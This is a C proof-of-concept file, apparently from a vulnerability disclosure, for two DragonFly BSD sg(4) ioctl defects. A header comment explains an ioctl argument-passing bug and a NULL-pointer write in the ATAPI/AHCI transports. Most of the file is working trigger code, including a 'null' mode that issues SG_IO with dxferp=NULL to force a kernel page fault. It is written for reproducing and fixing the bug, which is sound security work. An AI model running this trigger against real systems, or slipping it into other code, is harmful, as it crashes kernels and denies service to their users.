DF-5402 / poc5402.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | /* * DF-5402 / DF-5403 PoC โ sg(4) SG_* ioctl argument-handling defects. * * DF-5402 (ABI): sgioctl() passes ap->a_data (which for IOC_VOID _IO() * commands is a KERNEL stack slot holding the user pointer BY VALUE โ * sys/kern/sys_generic.c mapped_ioctl "*(caddr_t *)data = uspc_data") * straight to copyin/copyout. std_copyin/std_copyout reject kernel * addresses (support.s VM_MAX_USER_ADDRESS check) -> every data-carrying * SG_* ioctl returns EFAULT. The whole ioctl surface incl. SG_IO is * dead on a stock DragonFly kernel. * * DF-5403 (memory safety, unmasked once the ABI is fixed): * SG_IO with dxferp == NULL and dxfer_len > 0 is never rejected by * sgsendccb() (scsi_sg.c:868 "data_ptr != NULL" guard) and reaches the * transport with csio->data_ptr == NULL, dxfer_len > 0. The nata ATAPI * transport does * atapi-cam.c:561 buf = csio->data_ptr; (NULL) * atapi-cam.c:582 bzero(buf, len); (len>0) * for any INQUIRY with allocation length > 36 -> deterministic * kernel page fault on a write to address 0 (Fatal trap 12). * (ahci twin: ahci_cam.c:1083/1097; and commands that instead reach * ahci_ata_cmd/ahci_load_prdt DMA via bus_dmamap_load(NULL, len), * whose PRDT segment lands on physical address 0.) * * Modes: * ./poc5402 abi โ prober for DF-5402 (stock kernel: all EFAULT; * ABI-fixed kernel: version=30125, size=32768) * ./poc5402 sanity โ SG_IO INQUIRY with a REAL buffer (works only on * the ABI-fixed kernel; prints the drive INQUIRY) * ./poc5402 null โ DF-5403 trigger: SG_IO dxferp=NULL dxfer_len=512 * (ABI-fixed kernel: Fatal trap 12 va 0x0; * fully-fixed kernel: EINVAL, no panic) * * Build: cc -O -o poc5402 poc5402.c * Run: as root (/dev/sgN is 0600 root:operator and sgopen() requires * SYSCAP_RESTRICTEDROOT). */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define SGIOC '"' #define SG_GET_VERSION_NUM _IO(SGIOC, 0x82) #define SG_GET_RESERVED_SIZE _IO(SGIOC, 0x72) #define SG_IO _IO(SGIOC, 0x85) #define SG_DXFER_NONE -1 #define SG_DXFER_TO_DEV -2 #define SG_DXFER_FROM_DEV -3 #define SG_DXFER_TO_FROM_DEV -4 /* mirror of sys/bus/cam/scsi/scsi_sg.h struct sg_io_hdr (LP64) */ struct sg_io_hdr { int interface_id; int dxfer_direction; u_char cmd_len; u_char mx_sb_len; u_short iovec_count; u_int dxfer_len; void *dxferp; u_char *cmdp; u_char *sbp; u_int timeout; u_int flags; int pack_id; void *usr_ptr; u_char status; u_char masked_status; u_char msg_status; u_char sb_len_wr; u_short host_status; u_short driver_status; int resid; u_int duration; u_int info; }; static void do_inquiry(int fd, void *dxferp, u_int dxfer_len, unsigned char alloclen) { struct sg_io_hdr req; unsigned char cdb[6]; int rc; memset(&req, 0, sizeof(req)); req.interface_id = 'S'; req.dxfer_direction = SG_DXFER_FROM_DEV; req.cmd_len = sizeof(cdb); req.mx_sb_len = 0; req.dxfer_len = dxfer_len; req.dxferp = dxferp; req.timeout = 10000; /* INQUIRY; allocation length in byte 4 */ cdb[0] = 0x12; cdb[1] = 0x00; cdb[2] = 0x00; cdb[3] = 0x00; cdb[4] = alloclen; cdb[5] = 0x00; req.cmdp = cdb; printf(" SG_IO dxferp=%p dxfer_len=%u alloclen=%#x ... ", dxferp, dxfer_len, alloclen); fflush(stdout); rc = ioctl(fd, SG_IO, &req); printf("rc=%d errno=%d", rc, errno); if (rc == 0) printf(" host=%#x drv=%#x", req.host_status, req.driver_status); printf("\n"); } int main(int argc, char **argv) { const char *dev = (argc > 2) ? argv[2] : "/dev/sg0"; const char *mode = (argc > 1) ? argv[1] : "abi"; static char buf[512]; int fd, rc, v = 0, sz = 0; fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); exit(1); } if (strcmp(mode, "abi") == 0) { printf("[DF-5402] probing data-carrying SG_* ioctls on %s\n", dev); rc = ioctl(fd, SG_GET_VERSION_NUM, &v); printf(" SG_GET_VERSION_NUM: rc=%d errno=%d version=%d %s\n", rc, errno, v, (rc == 0 && v == 30125) ? "(OK)" : "(BROKEN: EFAULT=14)"); rc = ioctl(fd, SG_GET_RESERVED_SIZE, &sz); printf(" SG_GET_RESERVED_SIZE: rc=%d errno=%d size=%d\n", rc, errno, sz); printf("[DF-5402] %s\n", (errno == EFAULT || v == 0) ? "REPRODUCED: ioctls dead (EFAULT) on this kernel" : "ioctls work on this kernel"); } else if (strcmp(mode, "sanity") == 0) { printf("[sanity] SG_IO INQUIRY with a REAL 512-byte buffer\n"); do_inquiry(fd, buf, 512, 0xff); printf(" inquiry data: %.8s %.16s %.4s\n", buf, buf + 8, buf + 24); } else if (strcmp(mode, "null") == 0) { printf("[DF-5403] SG_IO INQUIRY dxferp=NULL dxfer_len=512\n"); printf(" expect Fatal trap 12 (write va 0x0) in bzero <- " "atapi_action\n"); do_inquiry(fd, NULL, 512, 0xff); printf(" ioctl returned without panic (kernel rejected it?)\n"); } else { fprintf(stderr, "usage: %s abi|sanity|null [/dev/sgN]\n", argv[0]); exit(2); } return (0); } |